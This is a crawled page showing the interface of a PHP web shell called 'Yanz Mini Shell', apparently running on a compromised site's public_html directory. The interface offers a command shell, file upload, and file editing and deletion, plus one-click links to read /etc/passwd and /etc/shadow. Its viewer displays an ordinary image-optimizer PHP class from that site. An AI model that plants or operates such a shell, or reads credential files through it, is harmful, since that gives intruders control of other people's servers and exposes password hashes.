Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
admin
web
uyoxpress.com
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php namespace Spatie\ImageOptimizer\Optimizers; use Spatie\ImageOptimizer\Image; class Svgo extends BaseOptimizer { public $binaryName = 'svgo'; public function canHandle(Image $image): bool { if ($image->extension() !== 'svg') { return false; } return in_array($image->mime(), [ 'text/html', 'image/svg', 'image/svg+xml', 'text/plain', ]); } public function getCommand(): string { $optionString = implode(' ', $this->options); return "\"{$this->binaryPath}{$this->binaryName}\" {$optionString}" .' --input='.escapeshellarg($this->imagePath) .' --output='.escapeshellarg($this->imagePath); } }
Free Space : Byte